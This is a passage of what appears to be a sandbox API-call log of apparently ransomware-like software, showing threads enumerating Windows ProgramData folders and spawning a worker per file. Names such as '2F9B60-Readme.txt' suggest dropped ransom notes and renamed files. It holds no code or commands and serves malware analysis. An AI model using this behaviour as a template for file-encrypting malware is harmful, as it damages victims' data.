ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 0 [0129.917] FindClose (in: hFindFile=0x1cd868b0 | out: hFindFile=0x1cd868b0) returned 1 [0129.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd63da0) returned 1 [0129.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd865b0) returned 1 [0129.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 Thread: id = 982 os_tid = 0x1600 [0101.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202afdf0 [0101.417] wcscpy (in: _Dest=0x202afdf0, _Source="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" [0101.417] wcscat (in: _Dest=0x202afdf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0101.417] wcscat (in: _Dest=0x202afdf0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*" [0101.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd622d0 [0101.418] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xed20a710, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xed20a710, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd863d0 [0101.418] wcscmp (_String1=".", _String2=".") returned 0 [0101.418] FindNextFileW (in: hFindFile=0x1cd863d0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xed20a710, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xed20a710, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.418] wcscmp (_String1="..", _String2=".") returned 1 [0101.418] wcscmp (_String1="..", _String2="..") returned 0 [0101.418] FindNextFileW (in: hFindFile=0x1cd863d0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed20a710, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xed20a710, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xed20a710, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F9B60-Readme.txt", cAlternateFileName="2F9B60~1.TXT")) returned 1 [0101.418] wcscmp (_String1="2F9B60-Readme.txt", _String2=".") returned 1 [0101.418] wcscmp (_String1="2F9B60-Readme.txt", _String2="..") returned 1 [0101.418] FindNextFileW (in: hFindFile=0x1cd863d0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0101.418] wcscmp (_String1="Cache", _String2=".") returned 1 [0101.418] wcscmp (_String1="Cache", _String2="..") returned 1 [0101.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202afe80 [0101.418] wcscpy (in: _Dest=0x202afe80, _Source="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" [0101.419] wcscat (in: _Dest=0x202afe80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0101.419] wcscat (in: _Dest=0x202afe80, _Source="Cache" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0127.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202afe80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16cc [0127.081] FindNextFileW (in: hFindFile=0x1cd863d0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469d1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="f9fef7602a.2f9b60", cAlternateFileName="F9FEF7~1.2F9")) returned 1 [0127.081] wcscmp (_String1="f9fef7602a.2f9b60", _String2=".") returned 1 [0127.081] wcscmp (_String1="f9fef7602a.2f9b60", _String2="..") returned 1 [0127.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b862300 [0127.081] wcscpy (in: _Dest=0x1b862300, _Source="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" [0127.081] wcscat (in: _Dest=0x1b862300, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0127.081] wcscat (in: _Dest=0x1b862300, _Source="f9fef7602a.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\f9fef7602a.2f9b60") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\f9fef7602a.2f9b60" [0127.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0127.082] FindNextFileW (in: hFindFile=0x1cd863d0, lpFindFileData=0x1cd622d0 | out: lpFindFileData=0x1cd622d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469d1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="f9fef7602a.2f9b60", cAlternateFileName="F9FEF7~1.2F9")) returned 0 [0127.082] FindClose (in: hFindFile=0x1cd863d0 | out: hFindFile=0x1cd863d0) returned 1 [0127.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd622d0) returned 1 [0127.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afdf0) returned 1 [0127.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a52b0) returned 1 Thread: id = 983 os_tid = 0x1604 [0101.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1b82c030 [0101.425] wcscpy (in: _Dest=0x1b82c030, _Source="C:\\Users\\All Users\\Microsoft\\RAC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC") returned="C:\\Users\\All Users\\Microsoft\\RAC" [0101.425] wcscat (in: _Dest=0x1b82c030, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\" [0101.425] wcscat (in: _Dest=0x1b82c030, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\*") returned="C:\\Users\\All Users\\Microsoft\\RAC\\*" [0101.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ff40 [0101.425] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\*", lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86f70 [0101.425] wcscmp (_String1=".", _String2=".") returned 0 [0101.425] FindNextFileW (in: hFindFile=0x1cd86f70, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.426] wcscmp (_String1="..", _String2=".") returned 1 [0101.426] wcscmp (_String1="..", _String2="..") returned 0 [0101.426] FindNextFileW (in: hFindFile=0x1cd86f70, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outbound", cAlternateFileName="")) returned 1 [0101.426] wcscmp (_String1="Outbound", _String2=".") returned 1 [0101.426] wcscmp (_String1="Outbound", _String2="..") returned 1 [0101.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1cd86af0 [0101.426] wcscpy (in: _Dest=0x1cd86af0, _Source="C:\\Users\\All Users\\Microsoft\\RAC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC") returned="C:\\Users\\All Users\\Microsoft\\RAC" [0101.426] wcscat (in: _Dest=0x1cd86af0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\" [0101.426] wcscat (in: _Dest=0x1cd86af0, _Source="Outbound" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound") returned="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound" [0129.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d0 [0129.920] FindNextFileW (in: hFindFile=0x1cd86f70, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce255900, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="PUBLIS~1")) returned 1 [0129.920] wcscmp (_String1="PublishedData", _String2=".") returned 1 [0129.920] wcscmp (_String1="PublishedData", _String2="..") returned 1 [0129.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c1f70 [0129.920] wcscpy (in: _Dest=0x1b7c1f70, _Source="C:\\Users\\All Users\\Microsoft\\RAC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC") returned="C:\\Users\\All Users\\Microsoft\\RAC" [0129.920] wcscat (in: _Dest=0x1b7c1f70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\" [0129.920] wcscat (in: _Dest=0x1b7c1f70, _Source="PublishedData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData") returned="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData" [0129.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1640 [0129.921] FindNextFileW (in: hFindFile=0x1cd86f70, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce255900, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="STATED~1")) returned 1 [0129.921] wcscmp (_String1="StateData", _String2=".") returned 1 [0129.922] wcscmp (_String1="StateData", _String2="..") returned 1 [0129.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd865b0 [0129.922] wcscpy (in: _Dest=0x1cd865b0, _Source="C:\\Users\\All Users\\Microsoft\\RAC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC") returned="C:\\Users\\All Users\\Microsoft\\RAC" [0129.922] wcscat (in: _Dest=0x1cd865b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\" [0129.922] wcscat (in: _Dest=0x1cd865b0, _Source="StateData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\StateData") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData" [0129.922] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd865b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1780 [0129.923] FindNextFileW (in: hFindFile=0x1cd86f70, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce386400, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce386400, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0129.923] wcscmp (_String1="Temp", _String2=".") returned 1 [0129.923] wcscmp (_String1="Temp", _String2="..") returned 1 [0129.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd868b0 [0129.924] wcscpy (in: _Dest=0x1cd868b0, _Source="C:\\Users\\All Users\\Microsoft\\RAC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC") returned="C:\\Users\\All Users\\Microsoft\\RAC" [0129.924] wcscat (in: _Dest=0x1cd868b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\" [0129.924] wcscat (in: _Dest=0x1cd868b0, _Source="Temp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\Temp") returned="C:\\Users\\All Users\\Microsoft\\RAC\\Temp" [0129.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd868b0) returned 1 [0129.924] FindNextFileW (in: hFindFile=0x1cd86f70, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce386400, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce386400, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0129.924] FindClose (in: hFindFile=0x1cd86f70 | out: hFindFile=0x1cd86f70) returned 1 [0129.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ff40) returned 1 [0129.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0129.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 Thread: id = 984 os_tid = 0x1608 [0101.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd87030 [0101.428] wcscpy (in: _Dest=0x1cd87030, _Source="C:\\Users\\All Users\\Microsoft\\Search" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search" [0101.428] wcscat (in: _Dest=0x1cd87030, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\" [0101.428] wcscat (in: _Dest=0x1cd87030, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\*" [0101.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce20690 [0101.428] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\*", lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86490 [0101.428] wcscmp (_String1=".", _String2=".") returned 0 [0101.428] FindNextFileW (in: hFindFile=0x1cd86490, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.428] wcscmp (_String1="..", _String2=".") returned 1 [0101.428] wcscmp (_String1="..", _String2="..") returned 0 [0101.428] FindNextFileW (in: hFindFile=0x1cd86490, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0101.429] wcscmp (_String1="Data", _String2=".") returned 1 [0101.429] wcscmp (_String1="Data", _String2="..") returned 1 [0101.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd86370 [0101.429] wcscpy (in: _Dest=0x1cd86370, _Source="C:\\Users\\All Users\\Microsoft\\Search" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search" [0101.429] wcscat (in: _Dest=0x1cd86370, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\" [0101.429] wcscat (in: _Dest=0x1cd86370, _Source="Data" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data" [0127.084] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d4 [0127.084] FindNextFileW (in: hFindFile=0x1cd86490, lpFindFileData=0x1ce20690 | out: lpFindFileData=0x1ce20690*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0127.084] FindClose (in: hFindFile=0x1cd86490 | out: hFindFile=0x1cd86490) returned 1 [0127.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce20690) returned 1 [0127.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd87030) returned 1 [0127.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 Thread: id = 985 os_tid = 0x160c [0101.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b86a040 [0101.431] wcscpy (in: _Dest=0x1b86a040, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0101.431] wcscat (in: _Dest=0x1b86a040, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0101.431] wcscat (in: _Dest=0x1b86a040, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*" [0101.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce21050 [0101.432] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86190 [0101.432] wcscmp (_String1=".", _String2=".") returned 0 [0101.432] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.432] wcscmp (_String1="..", _String2=".") returned 1 [0101.432] wcscmp (_String1="..", _String2="..") returned 0 [0101.432] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29423840, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz.dat", cAlternateFileName="5P5NRG~1.DAT")) returned 1 [0101.432] wcscmp (_String1="5p5NrGJn0jS HALPmcxz.dat", _String2=".") returned 1 [0101.432] wcscmp (_String1="5p5NrGJn0jS HALPmcxz.dat", _String2="..") returned 1 [0101.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x202b1550 [0101.432] wcscpy (in: _Dest=0x202b1550, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0101.432] wcscat (in: _Dest=0x202b1550, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0101.433] wcscat (in: _Dest=0x202b1550, _Source="5p5NrGJn0jS HALPmcxz.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" [0127.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b1550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16dc [0127.086] FindNextFileW (in: hFindFile=0x1cd86190, lpFindFileData=0x1ce21050 | out: lpFindFileData=0x1ce21050*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="DEFAUL~1")) returned 1 [0127.086] wcscmp (_String1="Default Pictures", _String2=".") returned 1 [0127.087] wcscmp 